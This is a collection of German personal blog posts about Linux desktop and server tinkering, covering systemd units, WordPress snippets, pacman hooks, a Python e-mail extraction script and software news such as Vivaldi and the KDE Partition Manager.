Discord steht nun auch für Linux bereit

Bei Discord handelt es sich um einen kostenlosen Client für Text- und Sprach-Chats. Zum Einsatz kommt das Programm hauptsächlich bei Gamern als Alternative zu Teamspeak. Heute wurde offiziell die erste Version für Linux veröffentlicht.

Auf der offiziellen Seite steht die Linuxversion als Deb-Paket sowie als Tar.gz-Archiv zum Download bereit. Da die Software allerdings nicht quelloffen ist, wird sie für den einen oder anderen nicht in Frage kommen. Persönlich wäre mir zum Beispiel Mumble auch lieber, aber bei vielen Spielen ist Discord inzwischen zum Standard geworden und bietet auch mehr Funktionen als so manche quelloffene Lösung.

Nutzer von Arch finden Discord im AUR.


Tastaturbeleuchtung eines Thinkpads automatisch aktivieren

Mir wäre es ganz lieb, wenn sich mein X230 Notebook den Zustand das Tastaturbeleuchtung merken würde und dieser Zustand nach einem Reboot auch wiederherstellt wird. Klappt aber nicht. Daher habe ich nachgeholfen.

Kurzerhand habe ich einfach eine Service-Datei für systemd erstellt. Ich habe sie mal backlight.service genannt.

[Unit]
Description=Tastaturbeleuchtung automatisch aktivieren

[Service]
Type=simple
ExecStart=/bin/bash -c 'echo 1 > /sys/devices/platform/thinkpad_acpi/leds/tpacpi::kbd_backlight/brightness'

[Install]
WantedBy=multi-user.target

Interessant ist hier im Grunde genommen nur die ExecStart-Zeile. Hier wir der Befehl ausgeführt, der die Tastaturbeleuchtung auf Stufe 1 aktiviert (Stufe 2 wäre die stärkste Beleuchtung und Stufe 3 würde noch die Beleuchtung im Rahmen des Displays hinzuschalten). Klappt soweit auch. Da das Notebook verschlüsselt ist, wäre es mir auch recht, wenn die Tastatur schon bei der Eingabe des Passworts klappen würde. Scheinbar gibt es aber kein passendes Target hierfür.


Fryboyter - Hinweis wegen Freischalten von Kommentaren

Ab und zu fragen bei mir Leute nach, wo denn ihre kürzlich geschriebenen Kommentare abgeblieben sind, da diese nicht sofort angezeigt werden. Dies liegt bei mir daran, dass alle Kommentare erst einmal von mir freigeschaltet werden (oder auch nicht). Einen Hinweis hierzu gab es bisher allerdings nicht.

Gestern habe ich mal wieder eine Nachfrage wegen eines nicht angezeigten Kommentars erhalten. Da ich gerade Urlaub habe, habe ich mich mal ein paar Minuten damit beschäftigt und die functions.php meines Wordpress-Themes erweitert. Wenn nun ein Kommentar abgeschickt wird, wird dieser für den Ersteller mit einem Hinweis angezeigt.

Unterm Strich ist diese Änderung kein Hexenwerk (hier nur der betreffende Codeteil der erstellen Funktion):

<?php if ( $comment->comment_approved == '0' ) : ?>
    <em class="comment-approved"><?php _e( 'Your comment is awaiting moderation.', 'fryboyter' ); ?></em>
    <br />
<?php endif; ?>

Im Grunde wird nur geprüft ob in der Datenbank beim betreffenden Kommentar comment_approved den Wert 0 hat. Wenn ja, wird der Hinweis angezeigt. Dieser ist hier in Englisch angegeben. Das _e bewirkt in dem Fall eine automatische Übersetzung. In diesem Fall in die deutsche Sprache.


FSearch - Schnell Dateien suchen

Dem einen oder anderen Windowsnutzer wird Everything ein Begriff sein. Mit diesem Tool lassen sich sehr schnell Dateien finden. Everything nutzt hierzu die Metadaten des Master File Table von NTFS. Und was ist mit Linux?

Lösungen wie Baloo habe ich immer links liegen lassen, da mir die Indexierung zu lange dauert und zu viele Resourcen verbraten werden. Daher habe ich bisher immer auf die langsameren Lösungen wie find zurückgegriffen. Heute wurde ich auf FSearch aufmerksam. Hierbei handelt es sich um ein GTK+3-Programm, welches aktuell noch Alpha-Status hat. Der Entwickler will mit FSearch eine Linux-Alternative zu Everything schaffen.

Und was soll ich sagen? Bisher bin ich schwer begeistert. Nach dem ersten Start gibt man die Verzeichnisse an, welche bei der Suche berücksichtigt werden sollen. Bei meinem ersten Test habe ich das Homeverzeichnis meines Notebooks angeben. Eigentlich habe ich erwartet, dass das Programm eine gewisse Zeit arbeiten wird. Hat es aber nicht. Innerhalb einer Sekunde (geschätzt) wurde mir angezeigt, dass 56153 Einträge bei der Suche berücksichtigt werden. Eine richtige Indexierung war das wohl nicht. Trotzdem hat es mich interessiert wie schnell eine Datei gefunden wird. Auf dem Rechner liegen einige Dateien deren Namen ich auswendig kenne in einem ziemlich verschachtelten Verzeichnisbaum. Das ideale Ziel. Ich habe hier bewusst nur einen Teil des Namen bei der Suche angegeben (also beispielsweise wenn der Dateiname HundKatzeMaus.sql lautet habe ich nach Katze gesucht). Da das Tool bereits beim Tippen anfängt zu suchen wurden mir die Treffer quasi sofort angezeigt. Ich will mich jetzt nicht zu weit aus dem Fenster lehnen aber FSearch fühlt sich sogar schneller als Everything an. Holy Cow.

Die Suche funktioniert zudem auch mittels Wildcards und RegEx und sollte daher eigentlich alle Fälle abdecken. Leider gibt es, zumindest derzeit, keine Version für die Komandozeile. Aber auf Rechnern mit grafischer Oberfläche werde ich FSearch sicherlich öfters nutzen.


KISS Ebook Bibliothek / Dokument Schnellstarter

Der ngb-Boardie theSplit hat ein Programm gesucht, mit dem man viele PDF- sowie ein paar Ebook-Dateien in einer Bibliothek auflisten und einfach über ein bestimmtes Programm pro Format öffnen kann. Lösungen wie Calibre waren ihm zu überladen. Daher hat er nun angefangen eine eigene Lösung zu entwickeln.

Im ngb gibt es hierzu einen extra Thread in dem theSplit die Entwicklung des KISS Ebook Starter dokumentiert und in dem man sich an der Entwicklung einbringen kann. Zudem wurde der Sourcecode nun auf Github veröffentlicht. Veröffentlicht ist das Projekt unter der GPL 3.0.


Screenshots mit Vivaldi erstellen

Heute wurde eine neuer Snapshot des Browsers Vivaldi veröffentlicht, der meiner Meinung nach mal wieder erwähnenswert ist. Von nun an lassen sich Screenshots direkt mit dem Browser erstellen.

In der unteren Leiste findet man nun ein Kamerasymbol. Viele Tools / Plugins zum Erstellen von Screenshots sind allerdings nur in der Lage das aufzunehmen was auf dem Bildschirm angezeigt wird. Ist die Seite länger, so dass man scrollen muss, hat man hier oft ein Problem. Die Entwickler von Vivaldi haben diese Problematik berücksichtigt. Man kann entweder bestimmte Bereich aufnehmen die man mit der Maus markieren kann oder man kann Screenshots von kompletten Seiten anzeigen, egal wie lange diese sind. Als Dateiformat wird aktuell PNG oder JPEG angeboten.

Die erstellten Bilder landen bei mir (KDE Plasma) unter ~/Bilder/Vivaldi Caputures/. Was ich hier nicht so gut finde ist, dass die Dateien in Form wie dd4d8c5f-ac25-4ca6-ac83-b954fdb93cb2.png abgespeichert werden, ohne dass man hier einen Einfluss darauf hat. Ich vermute aber, dass sich hier zukünftig noch etwas ändern wird. Auch würde ich es begrüßen, wenn es einen einfacheren Editor wie bei Greenshot geben würde.


Arch Linux Security Tracker veröffentlicht

Oft fragt sich, welche Pakete, die man entweder installiert hat bzw. in den Paketquellen vorhanden sind, ein Sicherheitsproblem darstellen. Das Team hinter Arch Linux hat hier nun meiner Meinung nach einen Schritt in die richtige Richtung gemacht.

Unter https://security.archlinux.org/ wird eine Liste mit Paketen veröffentlicht, die aktuell ein Sicherheitsrisiko darstellen bzw. die kürzlich ein Update wegen eines Sicherheitsproblems erhalten haben. Einen Verweis auf die jeweiligen CVE, eventuelle Einträge in eigenen Bugtracker usw. findet man dort ebenfalls.


KDE Partition Manager 3.0

Wenn möglich nutze ich unter Linux KDE Plasma. Der dort enthaltene Partition Manager zum Ändern der Partitionen hatte bisher immer Probleme mit LUKS in Verbindung mit LVM (oder umgekehrt).

Gestern wurde nun Version 3.0 des KDE Partition Managers veröffentlicht. Über das Changelog habe ich mich in dem Fall mal wirklich gefreut, da ich viel mit LVM / LUKS arbeite und bisher immer auf alternative grafische Oberflächen ausgewichen bin oder die die Befehle per Hand eingegeben habe.

  • Both LVM on LUKS and LUKS on LVM configurations are now supported.
  • Creating new LVM Volume Groups, adding or removing LVM Physical Volumes from LVM VG.
  • Resizing LVM Logical Volumes.
  • Resizing LVM Physical Volumes even if they belong to LVM Volume Group (used extents will be moved out somewhere else)
  • Added support for online resize. Not all filesystems support this, e.g. ext4 can only be grown online while btrfs supports both growing and shrinking.
  • Fixed some crashes, Qt 5.7.1 is also recommended to fix crash (in Qt) on exit.
  • Better support for sudo. Now KDE Partition Manager declares required environmental variables when kdesu uses sudo (e.g. in Kubuntu or Neon), so the theming is no longer broken. Also environmental variables for Wayland are also fixed.


Arena Chess GUI für Linux veröffentlicht

Die bekannte grafische Benutzeroberfläche für diverse Schach Engines wurde vor einigen Tagen auch für Linux veröffentlicht. Bisher war hier noch der Weg über Wine nötig.

Vorinstalliert sind AICE, Alfil, Gaviota, Hermann, K2, Spike sowie Stockfish. Standardmäßig wird Herrmann genutzt. Im Vergleich mit der Windowsversion gibt es allerdings noch Einschränkungen. So wird derzeit Citrine nicht unterstützt. Autoplay sowie ICS und Ausdrucken sind aktuell ebenfalls nicht möglich.

In ersten Tests unter Arch Linux konnte ich keinerlei Probleme feststellen. Arena Chess GUI läuft hier absolut stabil. Wer also eine grafische Oberfläche für Chess Engines unter Linux sucht, sollte einmal einen Blick auf Arena Chess GUI werfen.


E-Mail-Adressen mit Python aus Datenbanksicherung auslesen

Ab und zu werde ich bei schwierigen Fällen um Hilfe gebeten. Wie zum Beispiel vor ein paar Tagen. Aufgabenstellung war, die E-Mail-Adressen in einer MySQL-Datenbank zu finden und die Treffer in eine Textdatei zu schreiben. Das Problem ist aber, dass die Datenbank nur als Datensicherung in Form einer SQL-Datei vorliegt und diese nicht eingespielt werden soll oder kann. Wäre auch zu einfach gewesen.

Da ich gerade als Fachliteratur das eBook von "Automate the Boring Stuff with Python" lese habe ich mich für Python als Lösung entschieden. Herausgekommen ist folgendes "Kunstwerk".

#!/usr/bin/env python
""" Emails in einer Datei finden und Treffer in eine neue Datei schreiben """

import os
import re

QUELLDATEI = input("Quelldatei angeben: ")
ZIELDATEI = input("Zieldatei angeben: ")

if os.path.exists(QUELLDATEI):
    DATEN = open(QUELLDATEI, 'r')
    EMAILDATEI = DATEN.read()
else:
    print("Datei nicht gefunden")
    raise SystemExit


# Regex und Suche ohne doppelte Treffer
EMAILREGEX = re.compile(
    r'[a-z0-9!#$%&*+=?^_`{|}~-]+(?:\.[a-z0-9!#$%&*+=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?', re.IGNORECASE)
TREFFERDOPPELT = EMAILREGEX.findall(EMAILDATEI)
TREFFEREINFACH = set(TREFFERDOPPELT)

# Treffer ausgeben und in Datei schreiben
with open(ZIELDATEI, 'w') as f:
    for row in TREFFEREINFACH:
        print(row)
        f.write("%s\n" % str(row))

Habe ich schon erwähnt, dass ich so gut wie gar nicht programmieren kann? Nein? Gut ich kann es so gut wie nicht. Aber erstaunlicherweise funktioniert es. Auf eine Prüfung ob die jeweilige E-Mail-Adresse gültig ist, habe ich bewusst verzichtet. Das wird mit RegEx sonst ein Fass ohne Boden. Vor allem weil ich RegEx noch weniger beherrsche als z. B. Python. Von daher wie immer... Benutzung auf eigene Gefahr.

Nachtrag:

Nach einem Testlauf ist mir aufgefallen, dass einige Adressen mehrfach vorhanden sind. Ich habe das Script daher noch einmal angepasst, so dass nun keine doppelten Adressen ausgegeben werden.

Nachtrag 2

Ich habe das Script noch einmal angepasst. Zum einen wird nun die Quelldatei sowie die Zieldatei abgefragt und ist nicht mehr fest hinterlegt und zum anderen habe ich mich an den PEP8-Richtlinien (außer der Zeilenlänge) orientert.


Bessere Broadcom-Treiber dank Cypress?

Viele werden bereits Erfahrungen mit WLAN-Adaptern von Broadcom unter Linux gemacht haben. In der Regel sind das keine guten. Böse Zungen behaupten, dass es sich hier um Blinker-Hardware handelt. Geht, geht nicht, geht, geht nicht. Und so falsch ist das nicht. Die WLAN-Karte in meinem X130 war von Broadcom. Was habe ich über die Treiber geflucht... Das könnte sich nun ändern.

Vor einiger Zeit wurde bekannt, dass Cypress den WiFi-Bereich von Broadcom übernimmt. Nun hat Cypress die Datasheets von Broadcom veröffentlicht. Ich bin definitiv kein Programmierer. Aber eventuell kann man mit diesen Informationen schon freie Treiber entwickeln, die zumindest besser als die aktuellen Treiber sind. Oder vielleicht legt Cypress selbst Hand an und veröffentlicht eigene Linux-Treiber bei denen man keine 10 Ave Maria beten muss, damit die Adapter zumindest halbwegs funktionieren.

Mal sehen, was daraus wird. Mehr als spekulieren kann man aktuell wohl nicht.


Howl Editor

Regelmäßig sehe ich mir auf archlinux.org die Liste der kürzlich aktualisierten Pakete an. Ab und zu stoße ich hierbei auf Programme die ich bisher noch nicht kannte. Heute habe ich den Editor Howl entdeckt.

Howl ist ein Editor der für die Benutzung mittels Tastatur ausgelegt ist und der mittels Lua bzw. Moonscript anpassbar ist. Eigentlich bin ich aktuell mit den von mir verwendeten Editoren zufrieden. Mit Howl habe ich bisher nur etwas herumgespielt und somit auch nur die Spitze des Eisbergs angekratzt. Aber ich muss sagen, ich habe mich mit Howl gleich daheim gefühlt. Was vermutlich auch daran liegt, dass viele Shortcuts etwas eingängiger sind als bei anderen Editoren.

Jemand aus dem Entwicklerteam, hat auf Youtube ein Einführungsvideo erstellt, das ganz gut zeigt, was man alles mit Howl anstellen kann.

Howl wird im aktuellen Zustand bestimmt nicht vim in den Boden stampfen, aber ich finde dass er sich nicht schlecht schlägt.


Spam mit zwei Zeichen bekämpfen

Seit ein paar Wochen erhalte ich alle paar Tage Spam-Kommentare bei denen der Text nur aus zwei Buchstaben besteht. Antispam Bee hat hiermit wohl (noch) Probleme, da es immer unterschiedliche Zeichen sind. IP und die Spam-Adresse sind auch immer unterschiedlich. Leider finde ich in Wordpress nirgends die Möglichkeit die Mindestlänge eines Kommentars einzustellen.

Daher musste die functions.php meines Themes mal wieder herhalten.In diese habe ich folgendes hinterlegt:

add_filter( 'preprocess_comment', 'minimum_comment_length' );
function minimum_comment_length( $commentdata ) {
    $minimumCommentLength = 3;
    if ( strlen( trim( $commentdata['comment_content'] ) ) < $minimumCommentLength ){
    wp_die( 'Your comment must be at least ' . $minimumCommentLength . ' characters long.' );
    }
    return $commentdata;
}

In Zeile 3 kann man angeben, wie lange der Kommentar mindestens sein muss. In Zeile 5 kann man die Meldung angeben, die angezeigt wird, wenn der Kommentar nicht lang genug ist.

Mal schauen was passiert...


Logdatei mit TAI64N-Timestamps lesbar machen

Ich habe hier eine Logdatei bei der jede Zeile mit einer Zahlenreihenfolge beginnt. Nach etwas Recherche habe ich herausgefunden, dass es sich um TAI64-Timestamps handelt. 4611686018427387904 entspricht hier z. B. dem 01.01.1970 01 Uhr.

Um diesen Timestamp lesbar zu machen, kann man sich des Tools tai64nlocal bedienen. Man findet es im Paket daemontools.

Mittels z. B. cat $logdatei | tai64nlocal | less schickt man mit cat die Logdatei an tai64nlocal und lässt sich dann den umgewandelten Inhalt mit less anzeigen.


Prüfen ob externes Gehäuse das USB Attached SCSI Protocol beherrscht

Vor ein paar Tagen hat sich der USB-Anschluss meines externen Fesplattengehäuses von der Platine gelöst (ja ich war da nicht ganz unschuldig...). Als Ersatz habe ich mir das Gehäuse Quickstore Portable von Sharkoon gekauft. Laut den technischen Daten soll es UASP unterstützen.

Bei UASP handelt es sich um ein Protokoll das die Datenübertragung per USB bis zu 30 Prozent beschleunigt. Unter Linux wird das Protokoll ab Kernel 2.7 unterstützt. Aber sicher ist sicher. Daher habe ich vorsichtshalber mal nachgesehen.

Als erstes habe ich mir mittels lsmod | grep usbcore erst einmal die geladenen Module angesehen. Hier wird bei mir unter anderem uas angezeigt. Schon mal nicht schlecht.

Als nächstes habe ich lsusb ausgeführt um mir die USB-Geräte anzuzeigen. Hier habe ich unter anderem folgende Ausgabe erhalten.

Bus 001 Device 004: ID 357d:7788 Sharkoon QuickPort XT

Hier merkt man sich die Bus- und die Device-Nummer. Abschließen habe ich noch lsusb -t ausgeführt und bei der Ausgabe nach der Zeile gesucht die mit der obigen Bus- und Device-Nummer übereinstimmt.

/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-pci/3p, 480M
    |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/6p, 480M
        |__ Port 2: Dev 4, If 0, Class=Mass Storage, Driver=uas, 480M

Als Treiber wird hier uas genutzt. Das USB Attached SCSI Protokoll wird also verwendet. Gefühlt ist das neue Gehäuse deutlich schneller, obwohl nur eine ganz normale 2,5 HDD zum Einsatz kommt. Ob das allerdings wirklich nur an UASP liegt, kann ich nicht sagen. Das vorherige Gehäuse war eher von der Marke "Grabbeltisch".


Archlinux.org schafft Beginners Guide ab

Bei mir laufen inzwischen mehrere Geräte mit Arch Linux. Da hier eine Neuinstallation aufgrund von rolling Release recht selten ist, merke ich mir die einzelnen Schritte nicht alle. Daher habe ich jedes mal auf den Beginners Guide zurückgegriffen. In dieser Schritt-für-Schritt-Anleitung braucht man zum Großteil nur die Befehle abtippen und hat am Ende eine lauffähige Installation von Arch Linux.

Im Wiki von Archlinux.org zeigt nun der Link des Beginners Guide auf die normale Installationsanleitung. Dieser Schritt ist scheinbar schon seit einigen Jahren geplant, und wurde nun durchgezogen. Der Sinn dahinter ist wohl, die beiden Anleitungen zu verschmelzen um so nur eine Anleitung aktualisieren zu müssen. Macht aus meiner Sicht durchaus auch Sinn. Aber...

In der aktuellen Installationsanleitung wird zum Teil nur noch auf andere Wiki-Seiten verwiesen. So zum Beispiel bei dem Teil bei dem es um die Partitionen geht. Hier haben wir dann folgende Links:

https://wiki.archlinux.org/index.php/Partition_table
https://wiki.archlinux.org/index.php/Fdisk
https://wiki.archlinux.org/index.php/Parted
https://wiki.archlinux.org/index.php/MBR
https://wiki.archlinux.org/index.php/GPT
https://wiki.archlinux.org/index.php/Gdisk
https://wiki.archlinux.org/index.php/UEFI
https://wiki.archlinux.org/index.php/EFI_System_Partition
https://wiki.archlinux.org/index.php/GRUB
https://wiki.archlinux.org/index.php/LVM
https://wiki.archlinux.org/index.php/Disk_encryption
https://wiki.archlinux.org/index.php/RAID

Ok...

Der Link zur Verschlüsselung bringt hinsichtlich des eigentlichen Installationsvorgangs auch nichts. Also muss man sich von dort über https://wiki.archlinux.org/index.php/Dm-crypt auf https://wiki.archlinux.org/index.php/Dm-crypt/Encrypting_an_entire_system vorkämpfen.

Vermutlich habe ich hier eine andere Ansicht als die Entwickler der Distribution. Aber eine Anleitung besteht für mich nicht zu einem Großteil aus Verweisen. Zielgruppe hin oder her. Zumal ja durchaus einige Sachen auch im Detail direkt in der Installationsanleitung beschrieben werden. Wie z. B. das Erstellen des Root-Passworts mit passwd. Das ist meiner Meinung nach aber dann wieder so 0815, dass ich nicht nachvollziehen kann, wieso es direkt in der Anleitung erscheint.

Aktuell finde ich das ganze ziemlich seltsam und mir kommen zwei Möglichkeiten in den Sinn. Entweder wurde die Aktion mit der heißen Nadel gestrickt. Oder es wird hier künstlich versucht die Schwelle für die Einsteiger zu erhöhen. Ich würde mich nach über 10 Jahren mit Linux nicht mehr als Anfänger bezeichnen. Aber sorry, die Installationsanleitung ist mir in der jetzigen Form zu umständlich. Aber wie schon gesagt, vielleicht habe ich da einfach eine andere Ansicht wie die Entwickler. Und vielleicht liege ich auch falsch.

Wer der deutschen Sprache mächtig ist, findet auf wiki.archlinux.de übrigens noch den deutschsprachigen "Anleitung für Einsteiger". Da ich nicht sagen kann, ob das deutschsprachige Wiki hier mit dem englischsprachigen gleichzieht, habe ich mir diese auch gleich mal als PDF gesichert.


Windows PowerShell für Linux und OS X veröffentlicht

Unter Windows setze ich die PowerShell recht gerne ein, da sich damit einiges mehr bzw. einfacher machen lässt als mit dem normalen Kommandozeilenprogramm cmd.exe. Microsoft hat den Sourcecode der Powershell nun unter der MIT-Lizenz auf Github veröffentlicht. Das ganze ist aktuell als Alpha-Version gekennzeichnet.

Neben dem Sourcecode werden neben den Paketen für Windows auch Pakete für Ubuntu, CentOS und OS X angeboten. Wer will, kann somit die PowerShell auch abseits von Windows nutzen. Ich selbst werde unter Linux aber bei der ZSH bleiben. Für Arch Linux gibt es übrigens auch schon ein Paket im AUR. Allerdings scheint hier die Installation noch nicht ganz zu funktionieren.


Paketverwaltung von Arch Linux auf dem Raspberry Pi beschleunigen

Seit längerem stelle ich einen Server für Quake 3 Arena zur Verfügung. Dieser läuft auf einem Raspberry Pi 3 mit ALARM (Arch Linux für ARM). Da dieser jedem zur Verfügung steht, muss ich regelmäßig die Pakete aktualisieren. Hierbei hängt der Updatevorgang in der Regel bei (1/3) Updating manpage index... und (2/3) Updating the info directory file... für einige Minuten fest.

Um beides schnell abzuwickeln ist der Raspberry Pi einfach zu schwach. Daher habe mir überlegt, brauche ich direkt nach einem Update bzw. einer Installation eines Pakets z. B. einen aktuellen Manpage-Index auf dem Raspberry Pi? Eigentlich nicht. Verantwortlich für die beiden Schritte sind sogenannte Hooks die es seit Pacman 5 gibt. Diese liegen unter /usr/share/libalpm/hooks/. In dem Verzeichnis liegen unter anderem die Dateien man-db.hook und texinfo-install.hook. Laut der Manpage von libalpm lassen sich die Hooks deaktivieren wenn man sie nach /dev/null umleitet. Um nicht an den originalen Hooks Änderungen vorzunehmen, erstellen wir unter /etc/pacman.d erst einmal das Verzeichnis hooks. Alle Hooks die dort vorhanden sind, überschreiben die, die unter /usr/share/libalpm/hooks/ vorhanden sind. Dort erstellen wir dann zwei Symlinks die nach /dev/null zeigen.

ln -s /dev/null /etc/pacman.d/hooks/man-db.hook 
ln -s /dev/null /etc/pacman.d/hooks/texinfo-install.hook

Installiert oder aktualisiert man nun ein Paket und hat die Debug-Funktion von pacman aktiviert, sollte man folgende Zeilen in der Ausgabe finden und der Vorgang sollte schnell durchlaufen.

debug: skipping overridden hook /usr/share/libalpm/hooks/man-db.hook 
debug: skipping overridden hook /usr/share/libalpm/hooks/texinfo-install.hook

So ganz ohne aktuellen Manpage-Index wollte ich dann aber doch nicht sein. Früh morgens findet auf dem Server im Grunde genommen keine Aktivität statt. Dann könnte man beide Hooks ja eigentlich laufen lassen. Lösen kann man das ganze über systemd und den timern. Diese sind in etwa vergleichbar mit den bekannten Cronjobs. Unter /etc/systemd/system/ erstellt man hierfür erst einmal zwei Service- sowie zwei Timer-Dateien mit folgendem Inhalt.

manpage-index.service

[Unit]
Description=Manpage-Index aktualisieren 

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'mkdir -p /var/cache/man; exec mandb --quiet --no-purge'

manpage-index.timer

[Unit]
Description=Manpage-Index täglich aktualisieren

[Timer]
OnCalendar=*-*-* 02:30:00
Persistent=true

texinfo-index.service

[Unit]
Description=Texinfo aktualisieren

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'for f in /usr/share/info/*.gz; do install-info "$f" /usr/share/info/dir 2> /dev/null; done'

texinfo-index.timer

[Unit]
Description=Run texinfo updater daily

[Timer]
OnCalendar=*-*-* 03:30:00
Persistent=true

Mit systemctl start texinfo-index.timer und systemctl start manpage-index.timer werden die beiden Timer dann noch abschließend aktiviert, so dass diese nun täglich um 2.30 und 3.30 Uhr gestartet werden.


Netctl funktioniert wegen Abhängigkeit von powerdevil nicht mehr

Vor ein paar Tagen habe ich KDE Plasma 5.7 unter Arch Linux auf meinem Notebook installiert. Nach einem Neustart konnte ich keine Verbindung mit dem WLAN aufbauen. Egal was ich versucht habe, der Service von netctl konnte nicht gestartet werden.

Nach einigen Minuten habe ich festgestellt, dass der Service von NetworkManager läuft. Frage 1. Warum läuft NetworkManager? Frage 2. Warum ist das Teil überhaupt installiert? Die zweite Frage konnte ich schnell beantworten. PowerDevil (ein Dienstprogramm unter KDE Plasma welches für die Energieverwaltung für Notebooks usw. zuständig ist), hat nun die fixen Abhängigkeiten networkmanager und networkmanager-qt. Frage 1 ist schon schwieriger. Wenn ich mittels systemctl stop NetworkManager.service Networkmanager stoppe kann ich eine WLAN-Verbindung mit netctl aufbauen. Ok, dann eben noch ein systemctl disable NetworkManager.service um den Dienst zu deaktivieren. Neustart... Netctl kann keine Verbindung aufbauen. Ah ja... Ein systemctl status NetworkManager.service zeigt mir, dass NetworkManager läuft. Ok... Scheinbar "braucht" irgendein anderer Service NetworkManager (wenn er installiert ist) und aktiviert mal eben ganz frech den Service wieder. Da ich an dieser Stelle keine Lust mehr hatte und reichlich genervt war, habe ich die Keule ausgepackt und den Service von NetworkManager kurzerhand mittels systemctl mask NetworkManager.service maskiert. Das hat zu folge, dass man den Dienst gar nicht mehr starten kann. Auch nicht von Hand. Hierfür müsste ich die Maskierung erst wieder entfernen. Ist mir aber auch egal. Ich mag NetworkManager nicht und PowerDevil funktioniert bei mir auch ohne NetworkManager.

Ich hoffe mal, dass die Entwickler von PowerDevil ein Einsehen haben, und NetworkManager als feste Abhängigkeit entfernen. Wegen mir kann das Zeug ja als optionale Abhängigkeit bestehen bleiben. Irgendeinen Sinn wird NetworkManager bei PowerDevil ja haben.


Nutzungsvereinbarung von Let's Encrypt ändert sich zum 01.08.2016

Ich habe heute von Let's Encrypt eine E-Mail bekommen, dass sich zum 01.08.2016 die Nutzungsvereinbarung ändert. In der E-Mail wird auf https://letsencrypt.org/repository/ verwiesen. Dort ist die aktuelle sowie die zukünftige Vereinbarung als PDF-Datei hinterlegt. Ein schneller Abgleich bezüglich der Änderungen klappt so nicht wirklich. Kenn White hat daher unter https://gist.github.com/kennwhite/9541c8f37ec2994352c4554ca2afeece/revisions einen Diff veröffentlicht. Vielen Dank dafür. Zukünftig will Let's Encrypt dafür sorgen, dass Änderungen bereits von offizieller Seite besser ersichtlich sind.


Die gute Fee des Internets verstärkt das Vivaldi-Team

Molly Holzschlag, auch als gute Fee des Internets bekannt, ist eine Autorin, Dozentin und Verfechterin des Open Web. So hat Sie z. B. an dem bekannten Buch The Zen of CSS Design mitgewirkt und hat bereits für Microsoft, eBay, AOL und BBC gearbeitet.

Das Unternehmen das hinter dem Browser Vivaldi steht, welcher oft als Nachfolger von Opera bezeichnet wird, hat nun bekannt gegeben, dass sie Molly Holzschlag als Mitarbeiterin gewinnen konnten. Unter anderem soll sie dem Vivaldi-Team helfen den Browser in eine Richtung zu entwickeln, die die "technische und philosophische Wahrheit" des Open Web fördert. Zudem soll Sie Web-Desinger und -Entwickler näher an den Entwicklungsprozess bringen.

Bin gespannt, inwieweit sich Vivaldi dank Molly Holzschlag in Zukunft ändern bzw. verbessern wird.


Mausgesten lassen sich unter Vivaldi nun offiziell anpassen

Seit Jahren bin ich ein großer Fan von Mausgesten um den Browser zu steuern. Bisher konnte man unter Vivaldi zwar Mausgesten nutzen, diese aber offiziell nicht anpassen. Eine inoffizielle Möglichkeit hatte ich vor ein paar Monaten veröffentlicht. Mit dem aktuellen Snapshot von Vivaldi ist dies nun auch ganz offiziell möglich.

Über das Menü Werkzeuge -> Einstellungen (alternativ ALT+P) ruft man einfach die Einstellungen von Vivaldi aus und wählt den Punkt Maus aus (wer hätte das gedacht...). Hier kann man nun vorhandene Mausgesten anpassen indem man die gewünschte Gestenzuordnung auswählt und dann auf das Stiftsymbol klickt. Neue Funktionen kann man hinzufügen indem man auf das Pluszeichen klickt. Nicht benötigte Mausgesten lassen sich um das Minuszeichen entfernen.

Vivaldi_Mausgesten

Was soll ich sagen. Vivaldi wir von Snapshot zu Snapshot besser. Und die Entwickler hören auch auf das was die Nutzer wollen. Mir selbst fehlt jetzt eigentlich nur noch eine Funktion. Und zwar, dass man die Bestandteile der grafischen Oberfläche mit der Maus dorthin verschieben kann wo man sie haben will. Seit Opera habe ich mich nämlich daran gewöhnt, dass die Symbole für "Seite neu laden" usw. rechts neben der Adresszeile sind und nicht wie es aktuell der Fall ist rechts.


Shellscripte mit Zeilenumbrüchen übersichtlicher machen

Ab und zu werden einzelne Zeilen in einem Shellscript recht lang. Oft zu lang um übersichtlich zu bleiben. Sichert man beispielsweise mit Borg mehrere Verzeichnisse / Dateien kommt z. B. folgendes dabei heraus.

borg create /pfad/zum/repository/::Montag /home/benutzer/verzeichnis1 /home/benutzer/verzeichnis2 /home/benutzer/verzeichnis3 /home/benutzer/verzeichnis4 /home/benutzer/verzeichnis5 /home/benutzer/verzeichnis6

Übersichtlich ist anders. Also einfach mal ein paar Zeilenumbrüche einbauen?

borg create /pfad/zum/repository/::Montag
/home/benutzer/verzeichnis1
/home/benutzer/verzeichnis2 
/home/benutzer/verzeichnis3 
...

Sieht doch schon mal nicht schlecht aus. Mehr aber auch nicht. Denn funktionieren wird das nun nicht mehr, da jede Zeile für sich verarbeitet wird. Das Problem kann man aber recht einfach umgehen. Man packt einfach, von der letzten Zeile abgesehen, einen Backslash an die Ende jeder Zeile.

borg create /pfad/zum/repository::Monat \ 
/home/benutzer/verzeichnis1 \ 
/home/benutzer/verzeichnis2 \ 
/home/benutzer/verzeichnis3 \ 
/home/benutzer/verzeichnis4 \ 
/home/benutzer/verzeichnis5 \ 
/home/benutzer/verzeichnis6

So werden die Zeilenumbrüche ignoriert und der Befehl wird abgearbeitet wie wenn alles in einer Zeile stehen würde.


Terminator - Nach oben scrollen wenn unten etwas ausgegeben wird

Baut man beispielsweise ein Paket aus dem AUR, bekommt man in der Regel eine längere Ausgabe in der Shell angezeigt. Ab und zu kommt es vor, dass mir hier diverse Stellen auffallen, welche ich mir ansehen möchte bevor das Paket tatsächlich erstellt wurde. Unter dem von mir verwendeten Terminal-Emulator Terminator scrolle ich dann nach oben um dann quasi sofort wieder am Ende der Ausgabe zu landen, weil eine neue Zeile ausgegeben wurde. 

Da ich in der aktuellen Einstellung von Terminator nur maximal 500 Zeilen nach oben scrollen kann und beim erstellen von Paketen oft mehr zusammenkommen ist das oft blöd. Vor allem wenn sich die interessante Stellen recht weit oben befindet.

